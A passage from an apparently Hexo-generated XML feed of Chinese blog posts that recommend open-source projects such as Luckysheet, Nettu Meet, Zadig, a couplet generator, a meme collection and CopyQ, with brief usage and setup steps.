src="https://files.mdnice.com/user/21062/7556a670-a999-45c7-959f-7f04b00d8eeb.png"><br>过了半小时,弹出来一个胖胖的「打工人」动图,提醒你该休息了。</p><p>动图下方配上了一句话:原地踏步的时候,手掌向上朝天花板的方向推出去,手掌收回来的时候大拇指差不多要碰到你的肩膀,通过同时托举水瓶可以加大难度。</p><p>这插件不仅仅能提醒你该休息了,而且还提示你需要做哪些动作来缓解疲劳。<br><img src="https://img.soogif.com/prMsoQVesu5NdFPfgA1hhJU5oDH6EvJu.gif?scope=mdnice"></p><h3 id="小结"><a href="#小结" class="headerlink" title="小结"></a>小结</h3><p>这次说的事真的很重要,希望大家能够放在心上,引起足够的重视,毕竟身体是自己的,强烈推荐大家去后台回复 [小分队] 安装这个插件!</p>]]></content>
<tags>
<tag> 西二旗乔治 </tag>
</tags>
</entry>
<entry>
<title>对不起,我又怀旧了。。。</title>
<link href="/blog/2022/03/24/dui-bu-qi-wo-you-huai-jiu-liao/"/>
<url>/blog/2022/03/24/dui-bu-qi-wo-you-huai-jiu-liao/</url>
<content type="html"><![CDATA[<p>Hello 大家好,我是爱玩游戏,哦不,是爱撸码的开源大叔!</p><h3 id="前言"><a href="#前言" class="headerlink" title="前言"></a>前言</h3><p>说实话,大叔还是很爱玩游戏的,曾经也是玩过很多经典的老游戏(一不小心暴露年龄了)。昨天我在逛 Github 的时候看到了金庸群侠传 3D 重制版,试玩了一下,听着熟悉的 BGM ,想哭。是啊,我确实长大了,童年那种纯粹的快乐再也不复返了。</p><p>你知道金庸群侠传吗? 这个属于很多 80 后和 90 后的回忆,在一些玩家心中的地位甚至超越了仙剑(至少在我心中是这样的)。</p><h3 id="项目简介"><a href="#项目简介" class="headerlink" title="项目简介"></a>项目简介</h3><p>该项目是使用 Unity 引擎重制并致敬经典游戏《金庸群侠传》DOS 版。<br>看看这封面:</p><p><img src="https://files.mdnice.com/user/21062/e6217410-ad2d-4b7f-9beb-e1ffd1f166c8.png"></p><p>再给大家截取一些游戏的画面截图,让大家感受一下:</p><p><img src="https://files.mdnice.com/user/21062/14c4cd7a-11f7-4775-a06b-6570cf9dcf54.png"></p><p>虽然画面不是那么的精致,但是我们要的是“童年”!是那种让人热血沸腾的感觉!</p><h3 id="系统架构"><a href="#系统架构" class="headerlink" title="系统架构"></a>系统架构</h3><p>大叔的职业病还是犯了,即便是游戏,也忍不住的去看看项目的整体架构:</p><p><img src="https://files.mdnice.com/user/21062/b32e0ce7-b823-42f9-beab-9f8371365d49.png"><br>这样来看,即使你不是《金庸群侠传》的粉丝,如果你想学习游戏开发的话,这个项目也同样值得你多看看。</p><h3 id="作者承诺"><a href="#作者承诺" class="headerlink" title="作者承诺"></a>作者承诺</h3><p>金庸群侠传》3D 重制版一个非盈利游戏项目。作者承诺:</p><blockquote><p>除了爱好者的自愿捐款以外,不会在任何渠道取得收入,游戏亦不会在任何游戏平台进行发布。最终的代码、资源、包体都仅供学习使用,请勿用于任何商业目的。一切再度商用均不被本项目允许和授权,如果有任何侵犯您的权益,欢迎与我们取得联系。</p></blockquote><h3 id="小结"><a href="#小结" class="headerlink" title="小结"></a>小结</h3><p>想要重温童年记忆的朋友,可以去在线体验一下。项目地址老规矩,后台回复关键词 [小分队] 即可获取。</p>]]></content>
<tags>
<tag> 西二旗乔治 </tag>
</tags>
</entry>
<entry>
<title>Excel,这款完全开源的在线表格推荐给你!</title>
<link href="/blog/2022/03/19/excel-zhe-kuan-wan-quan-kai-yuan-de-zai-xian-biao-ge-tui-jian-gei-ni/"/>
<url>/blog/2022/03/19/excel-zhe-kuan-wan-quan-kai-yuan-de-zai-xian-biao-ge-tui-jian-gei-ni/</url>
<content type="html"><![CDATA[<p>大家好,我是爱撸码的开源大叔!<br>Excel 作为办公软件中使用最频繁的产品之一,是我们办公活动中必不可缺的一环。如果我们的系统中能够集成 Excel,相比会是我们一大亮点。<br>今天大叔就给大家推荐一款强大的、完全开源的类 Excel 在线表格:Luckysheet。</p><p>特性<br>Luckysheet 功能强大、配置简单、完全开源,下面给大家介绍其中一部分特性。</p><p>🛠️格式设置</p><p>样式 (修改字体样式,字号,颜色或者其他通用的样式)<br>条件格式 (突出显示所关注的单元格或单元格区域;强调异常值;使用数据栏、色阶和图标集(与数据中的特定变体对应)直观地显示数据)<br>文本对齐及旋转<br>支持文本的截断、溢出、自动换行<br>数据类型<br>货币, 百分比, 数字, 日期<br>单元格内多样式 (Alt+Enter单元格内换行、上标、下标、单元格内可定义每个文字的不同样式)<br>🔨操作体验</p><p>撤销/重做<br>复制/粘贴/剪切操作 (支持 Luckysheet 到 Excel 和 Excel 到 Luckysheet 带格式的互相拷贝)<br>快捷键支持 (快捷键操作保持与 Excel 一致,如果有不同或者缺失请反馈给我们)<br>格式刷 (与 Google Sheet 类似)<br>任意选区拖拽 (选择单元格,输入公式,插入图表,会与选区相关,可以通过任意拖动和放大缩小选区来改变与之关联的参数)<br>⚡Luckysheet专有</p><p>矩阵计算 (通过右键菜单进行支持:对选区内的数据进行转置、旋转、数值计算)<br>截图 (把选区的内容进行截图展示)<br>复制到其他格式 (右键菜单的”复制为”, 支持复制为 json、array、对角线数据、去重等)<br>EXCEL导入及导出 (专为 Luckysheet 打造的导入导出插件,支持密码、水印、公式等的本地导入导出,导出正在开发)<br>⏱️未来开发计划</p><p>打印及设置 (像 Excel 一样进行打印设置,并导出为图片或者PDF)<br>树形菜单 (类似 Excel 中的分级显示(分组))<br>表格新功能 (类似 Excel 中表格的筛选器和切片器)<br>CSV,TXT导入及导出 (专为 Luckysheet 打造的导入导出插件,支持密码、水印、公式等的本地导入导出)<br>插入svg形状 (支持Pen tool (opens new window)的插入、修改和删除,并且随表格的变动而产生变化)<br>文档 (完善文档和API)<br>使用步骤<br>第一步 引入依赖</p><link rel='stylesheet' href='https://cdn.jsdelivr.net/npm/luckysheet/dist/plugins/css/pluginsCss.css' /><link rel='stylesheet' href='https://cdn.jsdelivr.net/npm/luckysheet/dist/plugins/plugins.css' /><link rel='stylesheet' href='https://cdn.jsdelivr.net/npm/luckysheet/dist/css/luckysheet.css' /><link rel='stylesheet' href='https://cdn.jsdelivr.net/npm/luckysheet/dist/assets/iconfont/iconfont.css' /><script src="https://cdn.jsdelivr.net/npm/luckysheet/dist/plugins/js/plugin.js"></script><script src="https://cdn.jsdelivr.net/npm/luckysheet/dist/luckysheet.umd.js"></script>第二步 指定一个表格容器<div id="luckysheet" style="margin:0px;padding:0px;position:absolute;width:100%;height:100%;left: 0px;top: 0px;"></div>第三步 创建<script> $(function () { //配置项 var options = { container: 'luckysheet' //luckysheet为容器id } luckysheet.create(options) })</script><p>总结<br>Luckysheet 是一个纯 Javascript 编写的在线 Excel 项目,能够嵌入到任何前端项目之中(如 Vue 和 Recat),功能强大、配置简单、完全开源,感兴趣的小伙伴赶快来试试吧!<br>感兴趣的小伙伴公众号后台回复 “小分队” 获取项目地址吧,有了它,以后你就是对联之王~</p>]]></content>
<tags>
<tag> 怂 </tag>
</tags>
</entry>
<entry>
<title>安全在线简历生成器,不试试吗?</title>
<link href="/blog/2022/03/17/an-quan-zai-xian-jian-li-sheng-cheng-qi-bu-shi-shi-ma/"/>
<url>/blog/2022/03/17/an-quan-zai-xian-jian-li-sheng-cheng-qi-bu-shi-shi-ma/</url>
<content type="html"><![CDATA[<p>大家好,我是开源小妹</p><p>又到了换工作的季节,小妹找到一款开源的<strong>在线简历生成器</strong>,用它写了份简历。我们都知道简历的核心还是在于<strong>内容</strong>,这款简历模板开源项目,简单、模板精致、安全、选择不困难~~</p><h2 id="简介"><a href="#简介" class="headerlink" title="简介"></a>简介</h2><p>在线简历生成器,使用简单,无需链接远程服务,不用担心简历信息泄露。仅内置3套模板,拯救了选择困难症的你<del>。每个模板还支持自定义主图颜色、模块标题、国际化(中/英)等,最后写完就可以直接导出 pdf 打印去面试啦</del>。<br><img src="https://gitee.com/sourceteam/blog-source/raw/master/images/202203/202203171638250.png"></p><h2 id="使用方法"><a href="#使用方法" class="headerlink" title="使用方法"></a>使用方法</h2><h3 id="第一步-编辑导出配置"><a href="#第一步-编辑导出配置" class="headerlink" title="第一步 编辑导出配置"></a>第一步 编辑导出配置</h3><p>在线编辑 -&gt; 保存简历<br><img src="https://gitee.com/sourceteam/blog-source/raw/master/images/202203/202203272151142.png"><br>存储“简历信息”在个人 github special 仓库下(例如: visiky/visiky)<br><img src="https://gitee.com/sourceteam/blog-source/raw/master/images/202203/202203272152531.png"></p><h3 id="第二步-拼装url即可访问编辑"><a href="#第二步-拼装url即可访问编辑" class="headerlink" title="第二步 拼装url即可访问编辑"></a>第二步 拼装url即可访问编辑</h3><p>访问 <a href="https://visiky.github.io/resume?user=%7Buser%7D&amp;branch=%7Bbranch%7D">https://visiky.github.io/resume?user={user}&amp;branch={branch}</a><br><img src="https://gitee.com/sourceteam/blog-source/raw/master/images/202203/202203171638564.png"><br>例如:官方给的范例,我们这边拼装得出:</p><pre><code>https://visiky.github.io/resume?user=visiky&amp;branch=master</code></pre><p><img src="https://gitee.com/sourceteam/blog-source/raw/master/images/202203/202203272152780.png"></p><h2 id="小结"><a href="#小结" class="headerlink" title="小结"></a>小结</h2><p>怎么样是不是使用简单,安全有效,没有选择困难。另外大家如果有求职面试的需求,可以结合我们前面聊过的怎么写简历的开源项目,简直是绝配。</p><p>快去公众号后台回复「小分队」获取项目地址吧。</p><h3 id="写在最后"><a href="#写在最后" class="headerlink" title="写在最后"></a>写在最后</h3><p>欢迎加入开源小分队读者交流群,聊天学习摸鱼为主,不定时会分享一些技术要点和优质学习资源,有一群有趣有料的小伙伴在等你哦!<br>进群方式:公众号后台回复888,按提示操作即可进群。</p><p>问君能有几多愁,开源项目解千愁,我们下期再见!</p>]]></content>
<tags>
<tag> 奔跑的阿白 </tag>
</tags>
</entry>
<entry>
<title>自建视频会议系统,好使?</title>
<link href="/blog/2022/03/17/zi-jian-shi-pin-hui-yi-xi-tong-hao-shi/"/>
<url>/blog/2022/03/17/zi-jian-shi-pin-hui-yi-xi-tong-hao-shi/</url>
<content type="html"><![CDATA[<p>大家好,我是开源小妹<br>最近疫情反复,大家要注意安全呐。最近逛开源社区发现一款挺好使的会议系统 Nettu Meet ,可以用来远程辅导作业、讲课等,感觉主要是给教师用的,特别好使~</p><h2 id="简介"><a href="#简介" class="headerlink" title="简介"></a>简介</h2><p><img src="https://gitee.com/sourceteam/blog-source/raw/master/images/202203/202203171640919.png"><br>Nettu Meet 是一个开源教辅视频会议应用。老师可以在上面分享白板,实时讲解课程、演绎公式、画草图等等。学生可以远程观看老师分享的白板,同时也可以和其他同学做简单的讨论交流。</p><h2 id="功能"><a href="#功能" class="headerlink" title="功能"></a>功能</h2><ul><li>音视频:音视频实时交互。</li><li>共享白板:在共享白板上与远程参与人员协作。</li><li>屏幕共享:通过共享屏幕进入演示模式。</li><li>聊天:向其他与会者发送简单消息。</li><li>文件共享:可以即时上传相关文件到会议。</li><li>绘图仪:将数学图表插入白板。</li><li>可定制:创建一个帐户并上传您自己的徽标。</li></ul><p><img src="https://gitee.com/sourceteam/blog-source/raw/master/images/202203/202203171641632.png"></p><h2 id="部署"><a href="#部署" class="headerlink" title="部署"></a>部署</h2><p>在终端中运行 Node.js 服务器应用程序:</p><pre><code>$ cd server#复制 .env.template 配置文件并根据需要进行调整$ cp integrations/.env.template integrations/.env #使用 docker compose 启动 redis 和 mongodb $ npm run infra #安装服务器依赖项 $ npm i #启动服务器$ npm start</code></pre><p>注:官方提供的部署方式是采用docker compose,如需自己部署,需要提前准备好环境。或者自行修改配置,提前部署好 mongodb 及 redis 两个服务并启动。</p><p>在另一台设备创建运行浏览器应用程序</p><pre><code>$ cd frontend$ npm i$ npm start</code></pre><p>创建会议</p><pre><code># 响应会提供会议的网址$ curl -X POST &quot;http://localhost:5000/api/v1/meeting&quot; -H &quot;authorization: nettu_meet_default_secret&quot; -H &quot;Content-Type: application/json&quot; -d &quot;&#123; \&quot;title\&quot;: \&quot;First Nettu Meet meeting\&quot;&#125;&quot;</code></pre><h2 id="小结"><a href="#小结" class="headerlink" title="小结"></a>小结</h2><p>这里只是简单的介绍了下 Nettu Meet 这个项目,它的用途很多,可以用来远程辅导作业,远程会议等等,大家可以自行部署下,继续挖掘下。</p><p>快去公众号后台回复「小分队」获取项目地址吧。</p><h3 id="写在最后"><a href="#写在最后" class="headerlink" title="写在最后"></a>写在最后</h3><p>欢迎加入开源小分队读者交流群,聊天学习摸鱼为主,不定时会分享一些技术要点和优质学习资源,有一群有趣有料的小伙伴在等你哦!<br>进群方式:公众号后台回复888,按提示操作即可进群。</p><p>问君能有几多愁,开源项目解千愁,我们下期再见!</p>]]></content>
<tags>
<tag> 奔跑的阿白 </tag>
</tags>
</entry>
<entry>
<title>还在苦恼Jenkins的配置?这款1W星的持续交付产品推荐给你</title>
<link href="/blog/2022/03/13/huan-zai-ku-nao-jenkins-de-pei-zhi-zhe-kuan-1w-xing-de-chi-xu-jiao-fu-chan-pin-tui-jian-gei-ni/"/>
<url>/blog/2022/03/13/huan-zai-ku-nao-jenkins-de-pei-zhi-zhe-kuan-1w-xing-de-chi-xu-jiao-fu-chan-pin-tui-jian-gei-ni/</url>
<content type="html"><![CDATA[<p>大家好,我是开源大叔。</p><p>软件开发到了今日,有个词被提的越来越多,那就是 DevOps!</p><p>它是一种重视「软件开发人员」(Dev)和「IT运维技术人员」(Ops)之间沟通合作的文化、运动或惯例。透过自动化「软件交付」和「架构变更」的流程,使得构建、测试、发布软件能够更加便捷、频繁和可靠。</p><p>今天大叔给大家带来的 <strong>Zadig</strong>,就是一款在 DevOps 中非常重要的 CI/CD 环节中,面向开发者设计的云原生持续交付产品!</p><h3 id="介绍"><a href="#介绍" class="headerlink" title="介绍"></a>介绍</h3><p>Zadig 是一款具备高可用 CI/CD 能力、提供云原生运行环境的持续交付产品,支持开发者本地联调、微服务并行构建和部署、集成测试等。</p><p>同时 Zadig 在不改变现有流程的情况下,无缝集成了 Github、Gitlab、Jenkins和众多的云厂商,运维成本大幅度降低!</p><p><img src="https://s3-us-west-2.amazonaws.com/secure.notion-static.com/7d26ecb4-a54a-45f0-a6d3-ea958c28ccec/Untitled.png" alt="Untitled"></p><h3 id="产品特性"><a href="#产品特性" class="headerlink" title="产品特性"></a>产品特性</h3><ul><li><strong>高并发的工作流</strong></li></ul><p>基于云原生设计,经过简单配置,系统自动生成工作流,实现多服务高并发执行构建部署测试任务,以解决微服务架构下带来的多服务构建部署效率低下问题。</p><ul><li><strong>以服务为核心的集成环境</strong></li></ul><p>一套服务配置,分钟级创建多套数据隔离的测试环境。为开发者进行日常调试、为测试人员做集成测试、为产品经理对外 Demo 提供强力支撑。<br>对于现有的环境无需担心迁移成本,一键托管,轻松浏览、调试环境中的所有服务。</p><ul><li><strong>无侵入的自动化测试</strong></li></ul><p>便捷且无侵入的对接已有自动化测试框架,通过 GitHub/GitLab Webhook 自动构建、部署及测试。<br>通过办公通讯机器人为开发者提供第一时间质量反馈,精准高效。有效落地“测试左移”工程实践,让测试价值得到体现。</p><ul><li><strong>开发本地联调 CLI/IDE Plugin 插件</strong></li></ul><p>开发本地编辑完代码,一键进行本地代码构建,部署到联调环境,无需再陷入复杂且繁琐的工作流程。解放工程师双手,去创造更多产品价值。</p><h3 id="功能介绍"><a href="#功能介绍" class="headerlink" title="功能介绍"></a>功能介绍</h3><p>具有产品持续交付、持续测试、持续追踪的全流程能力,包括以下核心功能:</p><ul><li>产品交付:项目管理、服务管理、工作流、环境</li><li>测试中心:自动化测试管理</li><li>交付中心:交付物和制品追踪、产品级版本管理</li><li>集成管理:GitHub/GitLab/Gerrit/CodeHub 集成、内部账号管理、SSO/LDAP/AD 账号、Helm 仓库集成、Jira 集成、邮件集成</li><li>基础组件:Registry 管理、软件包与构建依赖管理、对象存储、集群管理、主机管理</li><li>系统管理:RBAC 权限、操作日志、公告管理</li></ul><h3 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h3><p>在现在越来越强调研发效能的今天,一款高性能的 CI/CD 功能是非常必要的。Zadig 作为一款优秀的开源软件,非常值得大家一试,就如字节等大厂也在使用,你还在等什么呢?</p>]]></content>
<tags>
<tag> 怂 </tag>
</tags>
</entry>
<entry>
<title>使用好这个项目,108w奖金绝对有戏了!</title>
<link href="/blog/2022/03/06/shi-yong-hao-zhe-ge-xiang-mu-108w-jiang-jin-jue-dui-you-xi-liao/"/>
<url>/blog/2022/03/06/shi-yong-hao-zhe-ge-xiang-mu-108w-jiang-jin-jue-dui-you-xi-liao/</url>
<content type="html"><![CDATA[<p>大家好,我是爱撸码的开源大叔!</p><p>大叔最近在网上摸鱼的时候,看到这样一个新闻,大意就是“广东一公园悬赏108万元征集下联“。</p><p><img src="https://gitee.com/sourceteam/blog-source/raw/master/images/202203/202203061047985.jpg"></p><p>作为也曾是文艺青年的大叔,也想来文艺一把,找回当年的风光。哎,奈何撸码过多,绞尽脑汁憋了几天也没有想到合适的。</p><p><img src="https://gitee.com/sourceteam/blog-source/raw/master/images/202203/202203061055918.jpg"></p><p>某天逛 GitHub 的时候,突然看到一个神奇的开源项目 - <code>seq2seq-couplet</code>,顿时感觉到,哈哈,这下108万奖金有戏了,赶紧收藏动起来!</p><h2 id="项目简介"><a href="#项目简介" class="headerlink" title="项目简介"></a>项目简介</h2><p><code>seq2seq-couplet</code>是一个利用人工智能帮你自动对对联的开源项目,你只要输入非繁体字的中文,程序就会利用人工智能帮你自行匹配合适的下联。目前该项目在 Github 上面收获了5.7k+star。</p><p><img src="https://gitee.com/sourceteam/blog-source/raw/master/images/202203/202203061046907.jpg"></p><p>整个开源项目用 Python 进行编写,使用了 Tensorflow 框架,其中用到了 seq2seq 模型,对对联数据进行训练。</p><h2 id="项目使用"><a href="#项目使用" class="headerlink" title="项目使用"></a>项目使用</h2><p>项目使用也非常方便,不懂 python 或者嫌麻烦的话可以直接使用作者提供的 demo 网站。</p><p><img src="https://gitee.com/sourceteam/blog-source/raw/master/images/202203/202203061048994.jpg"></p><p>回到文章开头征集下联的新闻,大叔已经迫不及待的想领108w了,赶紧用这个来试试看!</p><p><img src="https://gitee.com/sourceteam/blog-source/raw/master/images/202203/202203061048670.jpg"></p><p>还是很不错的嘛,是不是有哪个味了~~~~</p><p>我们再来试几个,感觉还是蛮好的。</p><p><img src="https://gitee.com/sourceteam/blog-source/raw/master/images/202203/202203061048283.jpg"></p><p><img src="https://gitee.com/sourceteam/blog-source/raw/master/images/202203/202203061048155.jpg"></p><p>不知道用自己的名字会对出什么下联呢?嗯,看上去也还蛮酷的。</p><p><img src="https://gitee.com/sourceteam/blog-source/raw/master/images/202203/202203061049332.jpg"></p><p>接下来的画风就有点不对头了</p><p><img src="https://gitee.com/sourceteam/blog-source/raw/master/images/202203/202203061049860.jpg"><br><img src="https://gitee.com/sourceteam/blog-source/raw/master/images/202203/202203061049536.jpg"></p><p>有的时候中间打一个逗号,结果就。。更精准了</p><p><img src="https://gitee.com/sourceteam/blog-source/raw/master/images/202203/202203061049777.jpg"></p><p><img src="https://gitee.com/sourceteam/blog-source/raw/master/images/202203/202203061053272.jpg"></p><p>其实,大叔个人感觉,这个项目还是更擅长一些古风的对联,如:</p><p><img src="https://gitee.com/sourceteam/blog-source/raw/master/images/202203/202203061050691.jpg"></p><p><img src="https://gitee.com/sourceteam/blog-source/raw/master/images/202203/202203061050430.jpg"></p><p>你能看出这是AI对出来的对联吗?细细体会,还是蛮有一番意境的。</p><h2 id="项目小结"><a href="#项目小结" class="headerlink" title="项目小结"></a>项目小结</h2><p>这是一个非常有趣的开源项目,如果配合一些最近热门的网络梗,你会得到意想不到的结果。</p><p>不说了,大叔要去准备领那 108w 了!!</p><p>感兴趣的小伙伴公众号后台回复 <strong>“小分队”</strong> 获取项目地址吧,有了它,以后你就是对联之王~</p><h3 id="写在最后"><a href="#写在最后" class="headerlink" title="写在最后"></a>写在最后</h3><p>欢迎加入开源小分队读者交流群,聊天学习摸鱼为主,不定时会分享一些技术要点和优质学习资源,有一群有趣有料的小伙伴在等你哦!</p><p>进群方式:<code>开源小分队</code> 公众号后台回复<code>888</code>,按提示操作即可进群。</p><p>问君能有几多愁,开源项目解千愁,我们下期再见!</p><blockquote><p>大家的点赞、收藏和评论对大叔非常重要,如文章对你有帮助还请转发支持下,谢谢!</p></blockquote>]]></content>
<tags>
<tag> 永恒君 </tag>
</tags>
</entry>
<entry>
<title>自从有了这项目,斗图我就没输过!</title>
<link href="/blog/2022/03/06/zi-cong-you-liao-zhe-xiang-mu-dou-tu-wo-jiu-mei-shu-guo/"/>
<url>/blog/2022/03/06/zi-cong-you-liao-zhe-xiang-mu-dou-tu-wo-jiu-mei-shu-guo/</url>
<content type="html"><![CDATA[<p>大家好,我是美丽又可爱的开源小妹!</p><p>现在大家的微信里的群,随便也应该都有几十个吧,工作群、联络群、交流群、老乡群、拼车群、爬山群等等。</p><p>而这些群有很多都已经背离了当初的用途,变成了大家相互切磋的斗图群。</p><p><img src="https://gitee.com/sourceteam/blog-source/raw/master/images/202203/202203060056820.jpg"></p><p>这不,小妹为了为了跟大家拉近友谊,让大家每次有图可斗,在 Github 上找到一个标星 9.7K 的表情包项目 - <code>ChineseBQB</code></p><h2 id="项目简介"><a href="#项目简介" class="headerlink" title="项目简介"></a>项目简介</h2><p><code>ChineseBQB</code>是一个中文表情包大合集的开源项目,里面包含了 5512 张适合我们中国的表情包。是的,你没听错,就是 5000 多张。</p><p><img src="https://gitee.com/sourceteam/blog-source/raw/master/images/202203/202203060048490.jpg"><br><img src="https://gitee.com/sourceteam/blog-source/raw/master/images/202203/202203060048493.jpg"><br><img src="https://gitee.com/sourceteam/blog-source/raw/master/images/202203/202203060048494.jpg"></p><p>可以说是应有尽有,能够满足你的各种需求,简直是水群摸鱼,斗图必备良品。<br>比如:</p><h3 id="斗图之王BQB"><a href="#斗图之王BQB" class="headerlink" title="斗图之王BQB"></a>斗图之王BQB</h3><p><img src="https://gitee.com/sourceteam/blog-source/raw/master/images/202203/202203060049270.gif"><br><img src="https://gitee.com/sourceteam/blog-source/raw/master/images/202203/202203060049813.gif"><br><img src="https://gitee.com/sourceteam/blog-source/raw/master/images/202203/202203060049835.gif"></p><h3 id="罗翔BQB"><a href="#罗翔BQB" class="headerlink" title="罗翔BQB"></a>罗翔BQB</h3><p><img src="https://files.mdnice.com/user/20902/ac8bf8bf-4d2a-4634-b003-1f55909744cc.png"></p><p><img src="https://gitee.com/sourceteam/blog-source/raw/master/images/202203/202203060049254.gif"></p><h3 id="程序员👨‍💻‍BQB"><a href="#程序员👨‍💻‍BQB" class="headerlink" title="程序员👨‍💻‍BQB"></a>程序员👨‍💻‍BQB</h3><p><img src="https://files.mdnice.com/user/20902/dd30b3b5-eacf-448e-a453-6f8abf25da23.png"></p><p><img src="https://files.mdnice.com/user/20902/6150037b-0455-4cc6-9d6d-7443b5c8e80c.png"></p><p><img src="https://gitee.com/sourceteam/blog-source/raw/master/images/202203/202203060049950.gif"></p><h3 id="熊本熊"><a href="#熊本熊" class="headerlink" title="熊本熊"></a>熊本熊</h3><p><img src="https://gitee.com/sourceteam/blog-source/raw/master/images/202203/202203060050111.gif"><br><img src="https://gitee.com/sourceteam/blog-source/raw/master/images/202203/202203060050372.gif"><br><img src="https://gitee.com/sourceteam/blog-source/raw/master/images/202203/202203060050809.gif"></p><p>这里小妹仅仅截取了冰山一角,仓库中还有更多海量表情,大家可以自行去探索一下。</p><h2 id="搜索表情包"><a href="#搜索表情包" class="headerlink" title="搜索表情包"></a>搜索表情包</h2><p>作者为了方便大家查找使用,还做了一个<strong>快速搜索表情包的在线小工具</strong>,从此谁跟你斗图,再也不怕!</p><p>微信内打开链接后,通过搜索框搜索想要表情包的关键词就会输出相关的表情包。</p><p><img src="https://gitee.com/sourceteam/blog-source/raw/master/images/202203/202203060050135.jpg"></p><p>你可以直接长按图片,将表情包发送给朋友。也可以选中指定表情包点击复制到朋友圈,然后去朋友圈粘贴即可,很是方便。</p><p>如果你想<strong>批量分享所有搜索到的表情包</strong>,只需要通过搜索框右侧的分享按钮即可一键分享,这样就不用你一个个的发给你的朋友啦,简单又方便。</p><p><img src="https://gitee.com/sourceteam/blog-source/raw/master/images/202203/202203060050137.jpg"></p><p>怎么样有没有心动?</p><p>公众号后台回复 <strong>“小分队”</strong> 获取一波表情包,去社群里High起来!</p><h3 id="写在最后"><a href="#写在最后" class="headerlink" title="写在最后"></a>写在最后</h3><p>欢迎加入开源小分队读者交流群,聊天学习摸鱼为主,不定时会分享一些技术要点和优质学习资源,有一群有趣有料的小伙伴在等你哦!</p><p>进群方式:<code>开源小分队</code> 公众号后台回复<code>888</code>,按提示操作即可进群。</p><p>问君能有几多愁,开源项目解千愁,我们下期再见!</p><blockquote><p>大家的点赞、收藏和评论对小妹非常重要,如文章对你有帮助还请转发支持下,谢谢!</p></blockquote>]]></content>
<tags>
<tag> 永恒君 </tag>
</tags>
</entry>
<entry>
<title>Windows复制粘贴太拉垮?这款剪贴板利器太香了</title>
<link href="/blog/2022/03/05/windows-fu-zhi-nian-tie-tai-la-kua-zhe-kuan-jian-tie-ban-li-qi-tai-xiang-liao/"/>
<url>/blog/2022/03/05/windows-fu-zhi-nian-tie-tai-la-kua-zhe-kuan-jian-tie-ban-li-qi-tai-xiang-liao/</url>
<content type="html"><![CDATA[<p>大家好,我是爱撸代码的开源大叔!</p><p>Win10 系统自带了一个剪贴板工具,可以保存剪贴板历史记录。但是其功能比较简陋,并且记录会在关机后清除,很不方便。</p><p>这里大叔要介绍的是一款多功能剪贴板增强工具 CopyQ,来看看它都有哪些好用的功能。</p><h3 id="项目简介"><a href="#项目简介" class="headerlink" title="项目简介"></a>项目简介</h3><p>CopyQ 是高级剪贴板管理器,具有可搜索和可编辑的历史记录,保存的剪贴板可以直接复制并粘贴到任何应用程序中。</p><p>特征:</p><ul><li>支持 Linux、Windows 和 OS X 10.15+</li><li>存储文本、HTML、图像或任何其他自定义格式</li><li>快速浏览和过滤剪贴板历史记录中的项目</li><li>排序、创建、编辑、删除、复制/粘贴、拖放选项卡中的项目</li><li>为项目添加注释或标签</li><li>具有可自定义命令的系统范围的快捷方式</li><li>使用快捷方式或从托盘或主窗口粘贴项目</li><li>完全可定制的外观</li><li>高级命令行界面和脚本</li><li>忽略从某些窗口复制或包含某些文本的剪贴板</li><li>支持简单的类似 Vim 的编辑器和快捷方式</li></ul><h3 id="安装使用"><a href="#安装使用" class="headerlink" title="安装使用"></a>安装使用</h3><p>windows 操作系统直接在 GitHub 下载安装包,然后傻瓜式安装即可。</p><p>GitHub 最大的缺点就是速度太慢,非常影响我们的使用体验。不过之前给大家推荐过一款 GitHub 加速软件,大家可以后台回复 <strong>「加速」</strong> 来获取加速软件!</p><p>安装好CopyQ后,它就静静地以小剪刀图标形式躺在了系统托盘区域,通过这个小图标,用户可以:</p><ul><li>当用户右键单击CopyQ托盘区域图标时,可以显示快捷粘贴页面,用户可快捷选择需要粘贴的条目,然后进行粘贴操作。</li><li>当用户左键单击CopyQ托盘区域图标时,可以显示CopyQ主界面,显示完整的操作工具。</li></ul><p><strong>收集资料的好帮手 复制后就保存了!</strong></p><p>当用户在浏览网页或查看资料时,看到需要保存的资料内容,用户只需要选中需要保存的文字内容,然后按下ctrl+c 键,CopyQ 就会帮助用户存储选中的文字资料到数据库,以后用户就可以随时查阅或调用了。</p><p><img src="https://gitee.com/zysspace/pic/raw/master/images/202203052222127.png"></p><p><img src="https://gitee.com/zysspace/pic/raw/master/images/202203052241297.png"></p><h3 id="功能"><a href="#功能" class="headerlink" title="功能"></a>功能</h3><p>相比于Win10自带的剪贴板,CopyQ有什么更实用的功能呢?</p><p><strong>1. 永久保存历史记录</strong></p><p>Win10自带剪贴板,关机后记录就会被清除,除了手动固定的条目。在 CopyQ 中,历史记录是会永久保存的。不过有保存条目数量限制,默认是两百条,你可以在设置中修改这个限制数值。CopyQ 也可以固定条目,固定后的条目会保持序号不变且不会因达到储存限制而清除。</p><p><strong>2. 搜索</strong></p><p>在唤起 CopyQ 面板后,你可以直接打字搜索剪贴板中的内容:</p><p><img src="https://gitee.com/zysspace/pic/raw/master/images/202203052230952.png"></p><p><strong>3、编辑条目</strong></p><p>你可以直接编辑剪贴板中的条目。对于文本条目,CopyQ 内置了文本编辑器;对手图像,则需要在设置中配置一个图像编辑器。</p><p>你还可以在 CopyQ 中直接新建条目。</p><p><strong>4、剪贴板条目内容自动转存</strong></p><p>在 CopyQ 中,用户可以将剪贴板条目内容进行文件转存操作,也就是说可以把剪贴板条目内容自动转换为文本文件、png 图片文件、html网页文件的单独文件来进行存储。用户可进入首选项→条目→同步中,设定需要同步转存的标签页内容,然后 CopyQ 就会将标签页里的所有内容进行转存,包括新条目。此外,CopyQ 支持导入导出所有数据库资料。</p><p><img src="https://gitee.com/zysspace/pic/raw/master/images/202203052237135.png"></p><p><strong>5、标记</strong></p><p>可以为任意条目添加标记(右键点击):</p><p><img src="https://gitee.com/zysspace/pic/raw/master/images/202203052247775.png"></p><p>标记会显示在条目的右上角,相当于该条目的备注。你可以临时输入新标记,或者在设置中预定义,预定义好的标记可以直接一键添加。</p><p>同时,标记也可以被搜索,也就是可以搜索标记来定位到相应的条目。</p><h3 id="总结"><a href="#总结" class="headerlink" title="总结"></a><strong>总结</strong></h3><p>比起一些剪贴板增强工具,CopyQ 除了可以增强剪贴板功能外,还附带了资料收集、截图、剪贴板条目内容文件转存等实用附加功能,简单容易上手。感兴趣的小伙伴在公众号后台回复【小分队】获取下载链接~</p><h3 id="写在最后"><a href="#写在最后" class="headerlink" 